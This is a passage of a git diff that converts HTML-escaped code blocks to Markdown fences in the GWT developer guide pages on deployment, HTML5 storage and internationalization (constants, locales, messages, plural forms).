+and [working with JSON data](DevGuideCodingBasics.html#DevGuideJSON), server-side scripts that receive and parse HTTP requests sent through the GWT [RequestBuilder](/javadoc/latest/com/google/gwt/http/client/RequestBuilder.html), or GWT RPC (see ["Deploying on a servlet container using RPC"](#DevGuideDeployingServletContainerUsingRPC) section below).
 
-<p>For an example of deploying GWT application files to a web server, suppose you want to deploy the DynaTable application on a web server, serving files from `/web/apps/dynatable_app/`. Once you've run the GWT compiler and generated the output in the `war/dynatable` directory, all you need to do is copy the host HTML page and stylesheet over to `web/apps/dynatable_app/` and copy the contents of the `war/dynatable` subdirectory to `/web/apps/dynatable_app/dynatable/`. At this point, the application is deployed. However, there are a few important points to keep in mind to make sure your application is properly deployed:
+For an example of deploying GWT application files to a web server, suppose you want to deploy the DynaTable application on a web server, serving files from `/web/apps/dynatable_app/`. Once you've run the GWT compiler and generated the output in the `war/dynatable` directory, all you need to do is copy the host HTML page and stylesheet over to `web/apps/dynatable_app/` and copy the contents of the `war/dynatable` subdirectory to `/web/apps/dynatable_app/dynatable/`. At this point, the application is deployed. However, there are a few important points to keep in mind to make sure your application is properly deployed:
 
 *   The host HTML page can actually reside anywhere on your web server.
 *   The bootstrap script can also reside anywhere on your web server.
@@ -28,12 +28,12 @@
 
 Referring to the DynaTable sample, deploying your project would involve copying the GWT compiler output to the following path on your servlet container:
 
-<pre class="prettyprint">
+```
 webapps/dynatable/DynaTable.html
 webapps/dynatable/DynaTable.css
 webapps/dynatable/dynatable/dynatable.nocache.js
 // The rest of your GWT application files under webapps/dynatable/dynatable/
-</pre>
+```
 
 There are a few extra steps to take to make sure that your application is ready for deployment on the servlet container.
 
@@ -70,14 +70,14 @@
 
 If you used the `webAppCreator` to create your project, you can simply compile your application with:
 
-<pre class="prettyprint">
+```
 ant build
-</pre>
+```
 
 and then deploy your application from the war output directory by invoking the appcfg utility with the update option:
 
-<pre class="prettyprint">
-&lt;appengine_home_dir&gt;/appcfg.sh update war
-</pre>
+```
+<appengine_home_dir>/appcfg.sh update war
+```
 
 You will need to have your appengine-web.xml properly configured beforehand, as well as ensure that you have created a Google App Engine account and an application space for your GWT application. You can read the [App Engine docs](//developers.google.com/appengine/docs/java/gettingstarted/) for more information.
diff --git a/src/main/markdown/doc/latest/DevGuideGlossary.md b/src/main/markdown/doc/latest/DevGuideGlossary.md
index a1652c4..8556b87 100644
--- a/src/main/markdown/doc/latest/DevGuideGlossary.md
+++ b/src/main/markdown/doc/latest/DevGuideGlossary.md
@@ -73,7 +73,8 @@
 
 <dt>HTML host page</dt>
 <dd>
-  An HTML page that includes a reference to a GWT `&lt;module&gt;.nocache.js</code> in a <code>&lt;script&gt;` HTML tag.
+  An HTML page that includes a reference to a GWT `<module>.nocache.js` in a
+  `<script>` HTML tag.
   This page may also contain HTML elements in its body, some of which your GWT module may reference or modify.
 </dd>
 
@@ -109,7 +110,7 @@
 <dt>public path</dt>
 <dd>A directory or list of directories that contains static files that should be served by the web server. All files in the static path are copied
 to the same directory as the compiled JavaScript output from the GWT compiler. If no public path is specified in the <a href="DevGuideOrganizingProjects.html#DevGuideModuleXml">module XML
-file</a>, the default public path is `&lt;module-name&gt;/public`.</dd>
+file</a>, the default public path is `<module-name>/public`.</dd>
 
 <dt>resource inclusion</dt>
 <dd><a href="DevGuideOrganizingProjects.html#DevGuideAutomaticResourceInclusion">A technique</a> you can use in your <a href="DevGuideOrganizingProjects.html#DevGuideHostPage">host HTML page</a> to reference external JavaScript and stylesheets.</dd>
@@ -124,7 +125,7 @@
 
 <dt>source path</dt>
 <dd>A subpackage or list of subpackages that contain your module's GWT application code. These subpackages are the ones that the GWT compiler will
-translate at compile time. If no source path is specified in the <a href="DevGuideOrganizingProjects.html#DevGuideModuleXml">module XML file</a>, the default source path is `&lt;module-name&gt;/client`.</dd>
+translate at compile time. If no source path is specified in the <a href="DevGuideOrganizingProjects.html#DevGuideModuleXml">module XML file</a>, the default source path is `<module-name>/client`.</dd>
 
 <dt>speed tracer</dt>
 <dd>Speed Tracer is a Google Chrome extension that helps you identify and fix performance problems in your web applications.</dd>
diff --git a/src/main/markdown/doc/latest/DevGuideHtml5.md b/src/main/markdown/doc/latest/DevGuideHtml5.md
index 7dfb5cc..339ed9a 100644
--- a/src/main/markdown/doc/latest/DevGuideHtml5.md
+++ b/src/main/markdown/doc/latest/DevGuideHtml5.md
@@ -1,10 +1,14 @@
 HTML5
 ===
 
-For an updated list of which browsers support which HTML5 features, you can use one of the many compatibility resources provided on the web, such as this [browser compatibility resource page](http://www.html5rocks.com/resources.html) provided by the html5rocks website. <p>
+For an updated list of which browsers support which HTML5 features, you can use one of the many
+compatibility resources provided on the web, such as this
+[browser compatibility resource page](http://www.html5rocks.com/resources.html) provided by the
+html5rocks website.
 
-For a list of which HTML features are supported by the GWT library, this page is the right place to look. These  HTML5 features are supported by GWT:
+For a list of which HTML features are supported by the GWT library, this page is the right place
+to look. These  HTML5 features are supported by GWT:
 
-1.  [Client-side Storage](DevGuideHtml5Storage.html) &ndash; Use LocalStorage, SessionStorage, and monitor StorageEvents
-2.  [Canvas](/javadoc/latest/index.html?com/google/gwt/canvas/dom/client/package-summary.html) &ndash; Add visualizations using Canvas (Javadoc)
-3.  [Audio](/javadoc/latest/com/google/gwt/media/client/Audio.html) &ndash; Use Audio widgets (Javadoc)4.  [Video](/javadoc/latest/com/google/gwt/media/client/Video.html) &ndash; Use Video widgets (Javadoc)
+1.  [Client-side Storage](DevGuideHtml5Storage.html) -- Use LocalStorage, SessionStorage, and monitor StorageEvents
+2.  [Canvas](/javadoc/latest/index.html?com/google/gwt/canvas/dom/client/package-summary.html) -- Add visualizations using Canvas (Javadoc)
+3.  [Audio](/javadoc/latest/com/google/gwt/media/client/Audio.html) -- Use Audio widgets (Javadoc)4.  [Video](/javadoc/latest/com/google/gwt/media/client/Video.html) -- Use Video widgets (Javadoc)
diff --git a/src/main/markdown/doc/latest/DevGuideHtml5Storage.md b/src/main/markdown/doc/latest/DevGuideHtml5Storage.md
index 14b7cfc..bd56e34 100644
--- a/src/main/markdown/doc/latest/DevGuideHtml5Storage.md
+++ b/src/main/markdown/doc/latest/DevGuideHtml5Storage.md
@@ -122,11 +122,11 @@
 
 GWT provides a simple way to determine whether the browser supports HTML5 storage--a built-in check when you get the storage object. You use Storage.getLocalStorageIfSupported() or Storage.getSessionStorageIfSupported(), depending on which type of storage you want to use. The storage object is returned if the feature is supported, or, if not, null is returned.
 
-<pre class='prettyprint'>
-  import com.google.gwt.storage.client.Storage;
+```
+import com.google.gwt.storage.client.Storage;
   private Storage stockStore = null;
   stockStore = Storage.getLocalStorageIfSupported();
-</pre>
+```
 
 ### Getting the Storage Object<a id='GetStorage'></a>
 
@@ -134,11 +134,11 @@
 
 Getting the storage object and checking for browser suppport of HTML5 storage are done at the same time, so the code snippet for doing this should look familiar:
 
-<pre class='prettyprint'>
-  import com.google.gwt.storage.client.Storage;
+```
+import com.google.gwt.storage.client.Storage;
   private Storage stockStore = null;
   stockStore = Storage.getLocalStorageIfSupported();
-</pre>
+```
 
 ### Reading Data from Storage<a id='ReadStorage'></a>
 
@@ -146,7 +146,7 @@
 
 The following snippet shows an iteration through the contents of storage, with each item in storage then being written to a separate row in a FlexTable. For simplicity, this assumes all of storage is used only for that FlexTable.
 
-<pre class='prettyprint'>
+```
 import com.google.gwt.storage.client.Storage;
 
 private FlexTable stocksFlexTable = new FlexTable();
@@ -154,13 +154,13 @@
 
 stockStore = Storage.getLocalStorageIfSupported();
 if (stockStore != null){
-  for (int i = 0; i &lt; stockStore.getLength(); i++){
+  for (int i = 0; i < stockStore.getLength(); i++){
     String key = stockStore.key(i);
     stocksFlexTable.setText(i+1, 0, stockStore.getItem(key));
     stocksFlexTable.setWidget(i+1, 2, new Label());
   }
 }
-</pre>
+```
 
 #### Using StorageMap to do a Quick Check for Specific Key or Value
 
@@ -168,7 +168,7 @@
 
 In the following snippet, we use a StorageMap to see if a certain value is already in the storage, and if it is not yet stored, we write the data to storage.
 
-<pre class='prettyprint'>
+```
 stockStore = Storage.getLocalStorageIfSupported();
 if (stockStore != null) {
   stockMap = new StorageMap(stockStore);
@@ -176,7 +176,7 @@
     int numStocks = stockStore.getLength();
     stockStore.setItem("Stock."+numStocks, symbol);
 }
-</pre>
+```
 
 ### Writing Data to Storage<a id='WriteStorage'></a>
 
@@ -184,8 +184,9 @@
 
 Judicious use of naming conventions can help with processing storage data. For example, in a web app named MyWebApp,  key-value data associated with rows in a  UI table named Stock could have key names prefixed with MyWebApp.Stock.
 
-<p>In the following snippet, which is part of an Add button click handler, a text value is read from a textbox and saved, with the key name concatenated from a prefix and the current number of items in the storage.</p>
-<pre class='prettyprint'>
+In the following snippet, which is part of an Add button click handler, a text value is read from a textbox and saved, with the key name concatenated from a prefix and the current number of items in the storage.
+
+```
 import com.google.gwt.storage.client.Storage;
 
 final String symbol = newSymbolTextBox.getText().toUpperCase().trim();
@@ -194,7 +195,7 @@
   int numStocks = stockStore.getLength();
   stockStore.setItem("Stock."+numStocks, symbol);
 }
-</pre>
+```
 
 ### Deleting Data from Storage<a id='DelStorage'></a>
 
@@ -212,7 +213,7 @@
 
 The following sample snippet provides an example of one way to integrate this method with a UI, in this case a FlexTable that displays items from the storage. The user clears the UI and the storage by clicking on a Clear All button. In the button-click handler we just use the count of items in the storage to iterate through and remove rows from the UI, and when that is done, we delete all the storage data. (To keep things simple, we used the storage only for populating the FlexTable.)
 
-<pre class='prettyprint'>
+```
 import com.google.gwt.storage.client.Storage;
 import com.google.gwt.event.dom.client.ClickEvent;
 import com.google.gwt.event.dom.client.ClickHandler;
@@ -238,7 +239,7 @@
     }
   } // if sender is the clear all button
 });
-</pre>
+```
 
 ### Handling Storage Events<a id='HandleEvents'></a>
 
@@ -279,7 +280,7 @@
 
 The following snippet shows a sample event handler registered with a storage, where the changes from the incoming events are displayed in a UI label.
 
-<pre class='prettyprint'>
+```
 import com.google.gwt.storage.client.Storage;
 import com.google.gwt.storage.client.StorageEvent;
 private Storage stockstore = null;
@@ -290,4 +291,5 @@
     lastStockLabel.setText("Last Update: "+event.getNewValue() +": " +event.getOldValue() +": " +event.getUrl());
   }
 });
-</pre>
+```
+
diff --git a/src/main/markdown/doc/latest/DevGuideI18n.md b/src/main/markdown/doc/latest/DevGuideI18n.md
index a4d53be..1bd9b47 100644
--- a/src/main/markdown/doc/latest/DevGuideI18n.md
+++ b/src/main/markdown/doc/latest/DevGuideI18n.md
@@ -104,13 +104,14 @@
 The GWT internationalization types reside in the com.google.gwt.i18n package. To use any of these types, your module must inherit from the I18N module
 (com.google.gwt.i18n.I18N).
 
-<pre class="prettyprint">
-&lt;module&gt;
-  &lt;inherits name=&quot;com.google.gwt.i18n.I18N&quot;/&gt;
-&lt;/module&gt;
-</pre>
+```
+<module>
+  <inherits name="com.google.gwt.i18n.I18N"/>
+</module>
+```
 
-As of GWT 1.5, the User module (com.google.gwt.user.User) inherits the I18N module. So if your project's module XML file inherits the User module (which generally it does), it
+As of GWT 1.5, the User module (com.google.gwt.user.User) inherits the I18N module. So
+if your project's module XML file inherits the User module (which generally it does), it
 does not need to specify explicitly an inherit for the I18N module.
 
 ## Locales in GWT<a id="DevGuideLocale"></a>
@@ -128,7 +129,7 @@
 ## Static String Internationalization<a id="DevGuideStaticStringInternationalization"></a>
 
 Static string internationalization is the most efficient way to localize your application for different locales in terms of runtime performance. This approach is called
-&quot;static&quot; because it refers to creating tags that are matched up with human readable strings at compile time. At compile time, mappings between tags and strings are created for all
+"static" because it refers to creating tags that are matched up with human readable strings at compile time. At compile time, mappings between tags and strings are created for all
 languages defined in the module. The module startup sequence maps the appropriate implementation based on the locale setting using [deferred binding](DevGuideCodingBasics.html#DevGuideDeferredBinding).
 
 Static string localization relies on code generation from standard Java [properties files](DevGuideI18n.html#DevGuidePropertiesFiles) or
@@ -152,7 +153,7 @@
 The interface you create will contain a Java
 method with parameters matching those specified in the format string.
 
-<p>In addition, the `Messages` interface supports [Plural Forms](DevGuideI18nPluralForms.html) to allow your application
+In addition, the `Messages` interface supports [Plural Forms](DevGuideI18nPluralForms.html) to allow your application
 to accurately reflect text changes based on the count of something.
 
 ### Which Interface to Use?
@@ -323,11 +324,12 @@
 
 **Tip:** Use the i18nCreator script to get started.
 
-<pre class="prettyprint"> $ i18nCreator -eclipse Foo com.example.foo.client.FooConstants
+```
+$ i18nCreator -eclipse Foo com.example.foo.client.FooConstants
  Created file src/com/example/foo/client/FooConstants.properties
  Created file FooConstants-i18n.launch
  Created file FooConstants-i18n
-</pre>
+```
 
 Both [Constants](/javadoc/latest/com/google/gwt/i18n/client/Constants.html) and [Messages](/javadoc/latest/com/google/gwt/i18n/client/Messages.html) use traditional Java properties files, with
 one notable difference: properties files used with GWT should be encoded as UTF-8 and may contain Unicode characters directly, avoiding the need for `native2ascii`. See the
@@ -336,8 +338,8 @@
 
 In order to use internationalized characters, make sure that your host HTML file contains the `charset=utf8` content type in the meta tag in the header:
 
-<pre class="prettyprint">
-&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot; /&gt;
-</pre>
+```
+<meta http-equiv="content-type" content="text/html;charset=utf-8" />
+```
 
 You must also ensure that all relevant source and `.properties` files are set to be in the UTF-8 charset in your IDE.
diff --git a/src/main/markdown/doc/latest/DevGuideI18nConstants.md b/src/main/markdown/doc/latest/DevGuideI18nConstants.md
index 3f55eb0..58e9dac 100644
--- a/src/main/markdown/doc/latest/DevGuideI18nConstants.md
+++ b/src/main/markdown/doc/latest/DevGuideI18nConstants.md
@@ -8,36 +8,36 @@
 
 ## Constants<a id="Constants"></a>
 
-This example will walk through the process of creating a class of internationalized constant strings &quot;hello, world&quot; and &quot;goodbye, world&quot; in your GWT application. The example
+This example will walk through the process of creating a class of internationalized constant strings "hello, world" and "goodbye, world" in your GWT application. The example
 will create a Java interface named `MyConstants` that abstracts those strings. You can reference the `MyConstants` methods in your GWT code when you want to display
 one of those strings to the user and they will be translated appropriately for all locales that have matching `.properties` files.
 
 Begin by creating a default properties file called `MyConstants.properties` in your GWT project. You can place the file anywhere in your module's source path, but the
 `.properties` file and corresponding interface must be in the same package. It's fine to place the file in the same package as your module's entry point class.
 
-<pre>
+```
 helloWorld = hello, world
 goodbyeWorld = goodbye, world
-</pre>
+```
 
 You can also create a localized translation for each supported locale in separate properties files. The properties file must be named the same as our interface name, in our
 case `MyConstants`, with the appropriate suffix that indicates the [locale setting](DevGuideI18nLocale.html#LocaleSpecifying). In this case, we localize
 for Spanish using the filename `MyConstants_es.properties`:
 
-<pre>
+```
 helloWorld = hola, mundo
 goodbyeWorld = adiós, mundo
-</pre>
+```
 
 Now define an interface that abstracts those strings by extending the built-in `Constants` interface. Create a new Java interface in the same package where the
 `.properties` files were created. The method names must match the tag names uses in the `.properties` files:
 
-<pre class="prettyprint">
+```
 public interface MyConstants extends Constants {
   String helloWorld();
   String goodbyeWorld();
 }
-</pre>
+```
 
 **Tip:** The i18nCreator tool automates the generation of Constants interface subinterfaces like the one above. The tool generates Java code so that you only need to
 maintain the `.properties` files. It also works for `ConstantsWithLookup` and `Messages` classes.
@@ -45,12 +45,12 @@
 Note that `MyConstants` is declared as an interface, so you cannot instantiate it directly with `new`. To use the internationalized constants, you create a Java
 instance of `MyConstants` using the [GWT.create(Class)](/javadoc/latest/com/google/gwt/core/client/GWT.html#create(java.lang.Class)) facility:
 
-<pre class="prettyprint">
+```
 public void useMyConstants() {
   MyConstants myConstants = GWT.create(MyConstants.class);
   Window.alert(myConstants.helloWorld());
 }
-</pre>
+```
 
 You don't need to worry about the Java implementation of your static string classes. Static string initialization uses a [deferred binding generator](DevGuideCodingBasics.html#DevGuideDeferredBinding) which allows the GWT
 compiler to take care of automatically generating the Java code necessary to implement your `Constants` subinterface depending on the [locale](DevGuideI18nLocale.html).
@@ -83,8 +83,8 @@
 *   **`[@DefaultStringArrayValue({String str, ...})](/javadoc/latest/com/google/gwt/i18n/client/Constants.DefaultStringArrayValue.html)`** Sets the default value for a method which returns a `String` array.
 *   **`[@DefaultStringMapValue({String key, String value, ...})](/javadoc/latest/com/google/gwt/i18n/client/Constants.DefaultStringMapValue.html)`**
     Sets the default value for a method which returns a
-`Map&lt;String,String&gt;` or a raw map (which will still be a
-`String=&gt;String` map).  The number of supplied values must be even,
+`Map<String,String>` or a raw map (which will still be a
+`String=>String` map).  The number of supplied values must be even,
 and the first entry of each pair is the key and the second is the value.
 *   **`[@DefaultStringValue(String str)](/javadoc/latest/com/google/gwt/i18n/client/Constants.DefaultStringValue.html)`** Sets the default value for a method which returns a `String`.
 
@@ -102,13 +102,16 @@
 *   In the case of a `Map`-valued method, the entry in the properties
   file for that method will be a comma-separated set of keys, and then those
   keys have their own entries with their associated value.  Example:
-  <pre class="prettyprint">
-  Map&lt;String,String&gt; colorMap();
+
+```
+  Map<String,String> colorMap();
 
   colors=header, body, footer
   header=red
   body=white
   footer=blue
-  </pre><p/>
-produces a map `{ header=&gt;red, body=&gt;white, footer=&gt;blue
+  
+```
+<p/>
+produces a map `{ header=>red, body=>white, footer=>blue
 }`
diff --git a/src/main/markdown/doc/latest/DevGuideI18nLocale.md b/src/main/markdown/doc/latest/DevGuideI18nLocale.md
index 625e1ed..549c268 100644
--- a/src/main/markdown/doc/latest/DevGuideI18nLocale.md
+++ b/src/main/markdown/doc/latest/DevGuideI18nLocale.md
@@ -21,7 +21,7 @@
 
 _Client properties_ are key/value pairs that can be used to configure GWT modules. User agent, for example, is represented by a client property. Each client property can
 have any number of values, but all of the values must be enumerable when the GWT compiler runs. GWT modules can define and extend the set of available client properties along with
-the potential values each property might assume when loaded in an end user's browser using the `&lt;extend-property&gt;` directive. At compile time, the GWT compiler
+the potential values each property might assume when loaded in an end user's browser using the `<extend-property>` directive. At compile time, the GWT compiler
 determines all the possible permutations of a module's client properties, from which it produces multiple _compilations_. Each compilation is optimized for a different set of
 client properties and is recorded into a file ending with the suffix `.cache.html`.
 
@@ -29,35 +29,35 @@
 which is determined by mapping the end user's client properties onto the
 available compiled permutations. Thus, only the exact code required by the end
 user is downloaded, no more. By making locale a client property, the standard
-startup process in `&lt;module&gt;.nocache.js` chooses the appropriate
+startup process in `<module>.nocache.js` chooses the appropriate
 localized version of an application, providing ease of use, optimized
 performance, and minimum script size. See the
-[Knowledge Base](FAQ_DebuggingAndCompiling.html#What) for more information about the logic of the `&lt;modulename&gt;.nocache.js` file.
+[Knowledge Base](FAQ_DebuggingAndCompiling.html#What) for more information about the logic of the `<modulename>.nocache.js` file.
 
 ## Adding Locale Choices to a Module<a id="LocaleModule"></a>
 
-In any real-world application, you will define at least one locale in addition to the default locale. &quot;Adding a locale&quot; means extending the set of values of the `locale`
-client property using the `&lt;extend-property&gt;` element in your [module XML](DevGuideOrganizingProjects.html#DevGuideModuleXml). For
+In any real-world application, you will define at least one locale in addition to the default locale. "Adding a locale" means extending the set of values of the `locale`
+client property using the `<extend-property>` element in your [module XML](DevGuideOrganizingProjects.html#DevGuideModuleXml). For
 example, the following module adds multiple locale values:
 
-<pre class="prettyprint">
-&lt;module&gt;
-  &lt;inherits name=&quot;com.google.gwt.user.User&quot;/&gt;
-  &lt;inherits name=&quot;com.google.gwt.i18n.I18N&quot;/&gt;
+```
+<module>
+  <inherits name="com.google.gwt.user.User"/>
+  <inherits name="com.google.gwt.i18n.I18N"/>
   
-  &lt;!-- French language, independent of country --&gt;
-  &lt;extend-property name=&quot;locale&quot; values=&quot;fr&quot;/&gt;
+  <!-- French language, independent of country -->
+  <extend-property name="locale" values="fr"/>
 
-  &lt;!-- French in France --&gt;
-  &lt;extend-property name=&quot;locale&quot; values=&quot;fr_FR&quot;/&gt;
+  <!-- French in France -->
+  <extend-property name="locale" values="fr_FR"/>
 
-  &lt;!-- French in Canada --&gt;
-  &lt;extend-property name=&quot;locale&quot; values=&quot;fr_CA&quot;/&gt;
+  <!-- French in Canada -->
+  <extend-property name="locale" values="fr_CA"/>
   
-  &lt;!-- English language, independent of country --&gt;
-  &lt;extend-property name=&quot;locale&quot; values=&quot;en&quot;/&gt;
-&lt;/module&gt;
-</pre>
+  <!-- English language, independent of country -->
+  <extend-property name="locale" values="en"/>
+</module>
+```
 
 ## The Default Locale<a id="LocaleDefault"></a>
 
@@ -75,9 +75,9 @@
 `en`.  You can set what value is used for the default by including
 the following in your [module XML](DevGuideOrganizingProjects.html#DevGuideModuleXml):
 
-<pre class="prettyprint">
-&lt;set-property-fallback name="locale" value="en"/&gt;
-</pre>
+```
+<set-property-fallback name="locale" value="en"/>
+```
 
 ## Specifying the Locale to Load<a id="LocaleSpecifying"></a>
 
@@ -85,29 +85,29 @@
 precedence. To specify the `locale` client property using a meta tag in the [host page](DevGuideOrganizingProjects.html#DevGuideHostPage), embed a meta tag for
 `gwt:property` as follows:
 
-<pre class="prettyprint">
-&lt;meta name=&quot;gwt:property&quot; content=&quot;locale=x_Y&quot;&gt;
-</pre>
+```
+<meta name="gwt:property" content="locale=x_Y">
+```
 
-For example, the following host HTML page sets the locale to &quot;ja_JP&quot;:
+For example, the following host HTML page sets the locale to "ja_JP":
 
-<pre class="prettyprint">
-&lt;html&gt;
-  &lt;head&gt;
-    &lt;meta name=&quot;gwt:property&quot; content=&quot;locale=ja_JP&quot;&gt;
-  &lt;/head&gt;
-  &lt;body&gt;
-    &lt;!-- Load the GWT compiled module code                           --&gt;
-    &lt;script src=&quot;com.google.gwt.examples.i18n.ColorNameLookupExample.nocache.js &quot; /&gt;
-  &lt;/body&gt;
-&lt;/html&gt;
-</pre>
+```
+<html>
+  <head>
+    <meta name="gwt:property" content="locale=ja_JP">
+  </head>
+  <body>
+    <!-- Load the GWT compiled module code                           -->
+    <script src="com.google.gwt.examples.i18n.ColorNameLookupExample.nocache.js " />
+  </body>
+</html>
+```
 
 To specify the `locale` client property using a query string, specify a value for the name `locale`. For example,
 
-<pre>
+```
 http://www.example.org/myapp.html?locale=fr_CA
-</pre>
+```
 
 **Tip:** The preferred time to explicitly set `locale` is to do so before your GWT module is invoked. You can change the `locale` from within your GWT
 module by adding or changing the `locale` query string in the current URL and reloading the page. Keep in mind that after reloading the page, your module will
@@ -126,9 +126,9 @@
 
 The easy way to use runtime locales is simply to add:
 
-<pre class="prettyprint">
-&lt;inherits name=&quot;com.google.gwt.i18n.CldrLocales&quot;/&gt;
-</pre>
+```
+<inherits name="com.google.gwt.i18n.CldrLocales"/>
+```
 
 to your [module XML](DevGuideOrganizingProjects.html#DevGuideModuleXml) file, and all locales that GWT knows about that inherit from
 your compile-time locale will be automatically included.  You can see the
@@ -152,11 +152,11 @@
 
 ## Creating a New Property Provider<a id="LocaleProvider"></a>
 
-If you are embedding your module into an existing application, there may be another way of determining locale that does not lend itself to using the `&lt;meta&gt;` tag
+If you are embedding your module into an existing application, there may be another way of determining locale that does not lend itself to using the `<meta>` tag
 or specifying `locale=` as a query string. In this case, you could write your own property provider.
 
 A property provider is specified in the [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml) as a JavaScript fragment that will return the value for the
-named property at runtime. In this case, you would want to define the locale property using a property provider. To see examples of `&lt;property-provider&gt;` definitions
+named property at runtime. In this case, you would want to define the locale property using a property provider. To see examples of `<property-provider>` definitions
 in action, see the files [I18N.gwt.xml](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/i18n/I18N.gwt.xml) and
 [UserAgent.gwt.xml](https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/UserAgent.gwt.xml) in the GWT source code.
 
@@ -168,20 +168,20 @@
 
 *   To check if the current locale is a Right-to-Left locale:
 
-<pre class="prettyprint">
+```
 if (LocaleInfo.getCurrentLocale().isRTL()) {
   ...
 }
-</pre>
+```
 
 *   To get a list of supported locales, such as for a locale selector:
 
-<pre class="prettyprint">
+```
 for (String localeName : LocaleInfo.getAvailableLocaleNames()) {
   String displayName = LocaleInfo.getLocaleNativeDisplayName(localeName);
   ...
 }
-</pre>
+```
 
 ## Server/Generator Manipulation of Locales<a id="ServerLocales"></a>
 
@@ -201,16 +201,16 @@
 *   [LocaleUtils](/javadoc/latest/com/google/gwt/i18n/rebind/LocaleUtils.html)
     provides easy access to GWT's locale infrastructure for a generator.
     *   Get a GwtLocaleFactory instance:
-    
-<pre class="prettyprint">
-GwtLocaleFactory factory = LocaleUtils.getLocaleFactory();
-</pre>
 
-    *   Get all locales for this compile, including runtime locales:
-    
-<pre class="prettyprint">
-Set&lt;GwtLocale&gt; locales = localeUtils.getAllLocales();
-</pre>
+```
+GwtLocaleFactory factory = LocaleUtils.getLocaleFactory();
+```
+
+*   Get all locales for this compile, including runtime locales:
+
+```
+Set<GwtLocale> locales = localeUtils.getAllLocales();
+```
 
 *   [GwtLocaleFactoryImpl](/javadoc/latest/com/google/gwt/i18n/server/GwtLocaleFactoryImpl.html)
 provides a way to create GwtLocale instances on the server.
diff --git a/src/main/markdown/doc/latest/DevGuideI18nMessages.md b/src/main/markdown/doc/latest/DevGuideI18nMessages.md
index c6030e6..70def89 100644
--- a/src/main/markdown/doc/latest/DevGuideI18nMessages.md
+++ b/src/main/markdown/doc/latest/DevGuideI18nMessages.md
@@ -20,14 +20,14 @@
 
 Here is an example Messages property value:
 
-<pre>
+```
 permissionDenied = Error {0}: User {1} Permission denied.
-</pre>
+```
 
 The following code implements an alert dialog by substituting values into the message:
 
-<pre class="prettyprint">
- public interface ErrorMessages extends Messages {
+```
+public interface ErrorMessages extends Messages {
    String permissionDenied(int errorCode, String username);
  }
  ErrorMessages msgs = GWT.create(ErrorMessages.class)
@@ -35,7 +35,7 @@
  void permissionDenied(int errorVal, String loginId) {
    Window.alert(msgs.permissionDenied(errorVal, loginId));
  }
-</pre>
+```
 
 **Caution:** Be advised that the rules for using quotes may be a bit confusing. Refer to the [MessageFormat](http://java.sun.com/j2se/1.5.0/docs/api/java/text/MessageFormat.html) javadoc for more details.
 
@@ -72,15 +72,17 @@
 a properties file. For example, attempting to use the following interface and
 .properties files results in a compile-time error:
 
-<pre class="prettyprint">
+```
 public interface ErrorMessages extends Messages {
   String permissionDenied(int errorCode, String username);
 }
-</pre>
+```
 
-<pre>
+
+
+```
 permissionDenied = Error {0}: User {1} does not have permission to access {2}
-</pre>
+```
 
 An error is returned because the message template in the properties file expects three arguments, while the `permissionDenied` method can only supply two.
 
@@ -97,9 +99,9 @@
 useful to keep non-translated code out of what the translator sees, for example
 HTML markup:
 
-<pre class="prettyprint">
-@DefaultMessage("Welcome back, {startBold,&lt;b&gt;}{0}{endBold,&lt;/b&gt;}")
-</pre>
+```
+@DefaultMessage("Welcome back, {startBold,<b>}{0}{endBold,</b>}")
+```
 
 <dt>`{0,list}` or `{0,list,format...}`
 <dd>Format a `List` or array using locale-specific punctuation.  For
@@ -224,25 +226,25 @@
 English, you want to adjust the word being counted based on whether the count
 is 1 or not.  For example:
 
-<pre class="prettyprint">
+```
 You have one tree.
 You have 2 trees.
-</pre>
+```
 
 Other languages may have far more complex plural forms.  Fortunately,
 GWT allows you to easily handle this problem as follows:
 
-<pre class="prettyprint">
+```
 public interface MyMessages extends Messages {
   @DefaultMessage("You have {0} trees.")
   @AlternateMessage({"one", "You have one tree."})
   String treeCount(@PluralCount int count);
 }
-</pre>
+```
 
-Then, `myMessages.treeCount(1)` returns `&quot;You have one
-tree.&quot;` while `myMessages.treeCount(2)` returns `&quot;You
-have 2 trees.&quot;`
+Then, `myMessages.treeCount(1)` returns `"You have one
+tree."` while `myMessages.treeCount(2)` returns `"You
+have 2 trees."`
 
 See the [details for using plural forms](DevGuideI18nPluralForms.html).
 
@@ -254,7 +256,7 @@
 want to support abbreviated and full versions of a message based on user
 preference.
 
-<pre class="prettyprint">
+```
 public enum Gender {
   MALE,
   FEMALE,
@@ -269,7 +271,7 @@
   })
   String gaveCredits(String name, @Select Gender gender);
 }
-</pre>
+```
 
 The default message is used if no form matches, in this case if `gender`
 is `null` or `UNKNOWN`. `@Select` parameters may be
@@ -285,11 +287,11 @@
 
 To avoid XSS vulnerabilities due to the use of messages in HTML contexts,
 you can declare methods in your Messages interfaces with a return type of
-`SafeHtml`: 
+`SafeHtml`:
 
-<pre class="prettyprint">
- public interface ErrorMessages extends Messages {
-   @DefaultMessage("A &lt;strong&gt;{0} error&lt;/strong&gt; has occurred: {1}.")
+```
+public interface ErrorMessages extends Messages {
+   @DefaultMessage("A <strong>{0} error</strong> has occurred: {1}.")
    SafeHtml errorHtml(String error, SafeHtml details);
  }
  ErrorMessages msgs = GWT.create(ErrorMessages.class)
@@ -298,7 +300,7 @@
    errorBar.setHTML(msgs.errorHtml(error, details));
    errorBar.setVisible(true);
  }
-</pre>
+```
 
 For SafeHtml messages, the code generator generates code that is guaranteed
 to produce values that satisfy the [SafeHtml type
@@ -318,9 +320,9 @@
 format, because the `{0}` parameter appears inside a tag's
 attribute:
 
-<pre>
-errorHtmlWithClass = A &lt;span class="{0}"&gt;{1} error&lt;/span&gt; has occurred.
-</pre>
+```
+errorHtmlWithClass = A <span class="{0}">{1} error</span> has occurred.
+```
 
 For more information on working with SafeHtml values, see the [SafeHtml
   Developer's Guide](DevGuideSecuritySafeHtml.html).
diff --git a/src/main/markdown/doc/latest/DevGuideI18nPluralForms.md b/src/main/markdown/doc/latest/DevGuideI18nPluralForms.md
index ef9a546..bbd4ff5 100644
--- a/src/main/markdown/doc/latest/DevGuideI18nPluralForms.md
+++ b/src/main/markdown/doc/latest/DevGuideI18nPluralForms.md
@@ -12,10 +12,10 @@
 Most languages alter the form of a word being counted based on the count.
 For example, in English:
 
-<pre class="prettyprint">
+```
 You have 1 tree.
 You have 2 trees.
-</pre>
+```
 
 Other languages have different rules:
 
@@ -31,14 +31,14 @@
 
